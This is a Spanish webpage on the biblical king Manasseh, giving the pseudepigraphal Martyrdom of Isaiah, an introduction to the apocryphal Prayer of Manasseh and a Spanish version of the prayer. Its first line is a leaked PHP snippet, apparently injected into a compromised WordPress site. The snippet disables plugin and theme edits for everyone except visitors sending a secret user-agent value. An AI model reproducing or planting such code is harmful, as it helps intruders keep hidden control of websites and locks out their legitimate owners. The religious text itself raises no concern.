if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } Manasés – Texto Bíblico

Martirio de Isaías

Los Seudoepigráficos

Martirio de Isaías

Registro tradicional judío, preservado entero sólo en su versión etiópica. Consigna cómo el rey Manasés mandó trozar a Isaías con una sierra para madera por predecir la destrucción de Jerusalén y por decir que había visto a Dios (Isaías 6:1), pues de acuerdo a Éxodo 33:20 nadie puede ver a Dios y vivir.

 

Martirio de Isaías

En el año vigésimo sexto del reinado de Ezequías, rey de Judá, llamó este a su hijo Manasés (era el único que tenía) en presencia del profeta Isaías, hijo de Amós, y de Jasub, hijo de Isaías, para transmitirle el mensaje justo que el propio rey había tenido en visión. Quería entregarle las sentencias eternas, los castigos del infierno y del príncipe de este mundo y sus ángeles –dominaciones y potestades- y el mensaje de fe del Amado, que él mismo había recibido también en visión en el año decimoquinto de su reinado, durante su enfermedad […]. Dijo entonces Isaías al rey Ezequías, pues no habló solo ante Manasés:

-Vive Dios, cuyo nombre no ha sido revelado a este mundo, vive el Amado, mi Señor, y vive el Espíritu que por mí habla, que todos estos preceptos y mensajes serán vanos para Manasés, tu hijo, por obra de sus manos, en medio de suplicios, habré de perecer. Semayel Melkira (jefe de los demonios) servirá a Manasés y ejecutará todos sus deseos; este se hará seguidor de Beliar (otro nombre del jefe de los demonios) en lugar de serlo mío, apartará de la fe recta a muchos de Jerusalén y Judea, y Beliar morará en Manasés, por cuyas manos seré aserrado.

Al oír Ezequías estas palabras prorrumpió en grandísimo llanto, se rasgó las vestiduras, se echó ceniza en la cabeza y cayó de bruces. Le dijo Isaías: -Firmes son los designios de Samayel contra Manasés; nada te aprovechará. En aquel día pensó Ezequías en su fuero interno matar a su hijo Manasés, mas le dijo Isaías: -El Amado ha hecho vano tu designio; no ha de ser lo que tu mente piensa, pues a esta vocación he sido llamado y he de recibir la herencia del Amado.

Tras la muerte de Ezequías reinó Manasés, quien no recordó los mandamientos de su padre echándolos al olvido […]. Manasés inclinó su corazón a servir a Beliar […].

Cuando vio Isaías, hijo de Amós. La iniquidad que se perpetraba en Jerusalén y el culto de Satanás y sus vanidades, se retiró de la ciudad y moró en Belén de Judea. Mas también allí había gran iniquidad; alejándose, pues, de Belén, moró en el monte, en despoblado. El profeta Miqueas, el anciano Ananías, Joel, Habacuc, su propio hijo Jasub y muchos fieles, creyentes en la ascensión celestial, se retiraron(asimismo) y moraron en el monte. Todos ellos vestían saco, todos eran profetas; nada tenían consigo, sino que estaban desnudos, mientras hacían gran duelo por el extravío de Israel. Dos años permanecieron en los montes y collados.

Luego, mientras estaban en el desierto, apareció un hombre de Samaria llamado Belkira, del linaje de Sedecias, hijo de Canaán, falso profeta que moraba en Belén[…]. Belkira se había enterado del lugar donde estaban Isaías y los profetas, sus compañeros, pues moraba en la tierra de Belén y era adicto a Manasés. Profetizaba falsamente en Jerusalén y muchos de allí se le habían unido, aunque era de Samaria[…].

-Isaías y los suyos profetizan contra Jerusalén y las ciudades de Judá, que serán destruidas (contra los hijos de Judá); y Benjamín, que partirán a la cautividad; incluso contra ti, señor rey Manasés, que habrás de marchar en grillos y cadenas[…]. Y acusó con insistencia a Isaías y a los profetas ante Manasés.

A causa, pues, de estas visiones se irritó Beliar contra Isaías, moró en el corazón de Manasés y lo aserró con una sierra de madera. Mientras Isaías era aserrado, Belkira estaba acusándolo y todos los falsos profetas estaban riéndose y regocijándose a causa de Isaías, pues Belkira y el demonio Metembuco se burlaban de él […].

E Isaías no lloró ni gritó mientras lo aserraban, sino que hablaba por su boca el Espíritu Santo, hasta que fue partido en dos. Esto hizo Beliar a Isaías por mano de Belkira y Manasés, pues estaba Semeyel sobremanera enojado con aquel desde los días de Ezequías, rey de Judá, a causa de las visiones que había tenido acerca del Amado, y también de la ruina de Semeyel que había visto por mediación del Señor cuando aún reinaba Ezequías, su padre. Así obró (Manasés) según la voluntad de Satanás.

——-

—–

Oración de Manasés

Los Apócrifos

Oración de Manasés

De acuerdo con el registro bíblico, Manasés fue el rey más malvado de Judá (2 Reyes 21:1-18; 2 Crónicas 33:1-20). Sin embargo, cuando uno de los monarcas asirios (tal vez Esar-hadón o Asurbanipal) lo lleva cautivo a Babilonia, reacciona y ora a “Jehová su Dios, humillado grandemente en la presencia del Dios de sus padres” (2 Crónicas 33:12).

Esta plegaria, que lo conduce a su restauración a Judá y a su trono, es registrada “en las actas de los reyes de Israel” (vers. 18). La Oración de Manasés apócrifa pretende ser esa súplica recuperada. Sus 15 versículos trasuntan un espíritu de sincera penitencia y profundo sentimiento religioso, aunque realmente no es la oración auténtica del rey de Judá.

Esta corta obra no está entre los libros aceptados por la Iglesia Católica en el Concilio de Trento, y en las ediciones autorizadas de la Vulgata Latina se la coloca como un apéndice de los apócrifos. Originalmente la incluían tanto la Biblia alemana de Lutero como la KJV. Fue incluida en la Biblia del Oso¹ de 1569 y en la Geneva Bible de 1599.

Esta obrita parece ser un salmo penitencial escrito quizá en el siglo I a. C.

 

El principio de la Oración de Manasés, encontrada en la Biblia del Oso¹ de 1569.

¹ La Reina-Valera, también llamada Biblia de Casiodoro de Reina o Biblia del Oso, es una de las primeras traducciones de la Biblia al castellano. La obra fue hecha a partir de la traducción de los textos originales en hebreo y griego y fue publicada en Basilea, Suiza, el 28 de septiembre de 1569. Su traductor fue Casiodoro de Reina, religioso español convertido al protestantismo. Recibe el sobrenombre de Reina-Valera por haber hecho Cipriano de Valera la primera revisión de ella en 1602.

Prayer of Manasseh – New Revised Standard Version (NRSV)

Oración de Manasés – (NRSV)

1. Oh Señor Todo poderoso,
Dios de nuestros antepasados,
de Abraham y de Isaac y de Jacob
y de sus justos descendientes;

2 . tu que hiciste el cielo y la tierra
con todo su orden;

3. quién encadenaste el mar por tu palabra de comando,
que confinó lo profundo y que sellaste con tu terrible y glorioso nombre;

4 en quién todas las cosas se estremecen,
y tiemblan ante tu poder,

5 porque tu esplendor glorioso no se puede aguantar,
y la cólera de tu amenaza para los pecadores es incalculable;

6 sin embargo, inmensurable e inalcanzable
es tu misericordia prometida,

7 Tu eres el Señor Altísimo,
de gran compasión, continuo cuidado, y muy misericordioso,
y tu te aplacas ante el sufrimiento humano.
O Señor, de acuerdo a tu gran bondad
Tu has prometido arrepentimiento y perdón
a los que han pecado contra Ti,
y en la multitud de tus misericordias
tu has designado el arrepentimiento para los pecadores,
para que puedan ser salvados.

8 por lo tanto tu, O Señor, Dios de los justos,
no has designado el arrepentimiento para el justo,
porque Abraham, Isaac y Jacob, no pecaron contra ti,
pero tu has designado el arrepentimiento para mí, que soy un pecador.

9 Porque los pecados que he cometido son más en número que la arena del mar;
mis transgresiones son multiplicadas, O Señor, son multiplicadas!
No soy digno mirar para arriba y ver la inmensidad del cielo
debido a la multitud de mis iniquidades.

10 Me siento pesado, como atado con muchas cadenas de hierro,
y por eso soy rechazado debido a mis pecados,
y no tengo ningún alivio;
porque he provocado tu cólera
y he hecho lo que es malvado en tu vista,
creando abominaciones y multiplicando ofensas.

11 y ahora doblo la rodilla de mi corazón,
implorándote tu amabilidad.

12 He pecado Señor, he pecado,
y reconozco mis transgresiones.

13 Honestamente te imploro,
perdóname, O Señor, perdóname!
No me destruyas con mis transgresiones!
No estés enojado conmigo para siempre, o guardes maldad para mi;
no me condenes a las profundidades de la tierra.
Porque Tu, O Señor, eres el Dios de los que se arrepienten.

14 y en mí tu manifestarás tu bondad;
porque, indigno aun como yo soy, tu me salvarás de acuerdo a tu gran misericordia,

15 y yo te alabare continuamente todos los días de mi vida.
Porque toda la multitud del cielo canta tu alabanza,
y tuya es la gloria para siempre. Amen.

—–

Apócrifos – Introducción
Primero de Esdras
Tobías
Judit
Añadiduras a Ester
Sabiduría
Eclesiástico
Baruc
Epístola de Jeremías
Añadiduras a Daniel
Oración de Manasés
Primero de los Macabeos
Segundo de los Macabeos

—–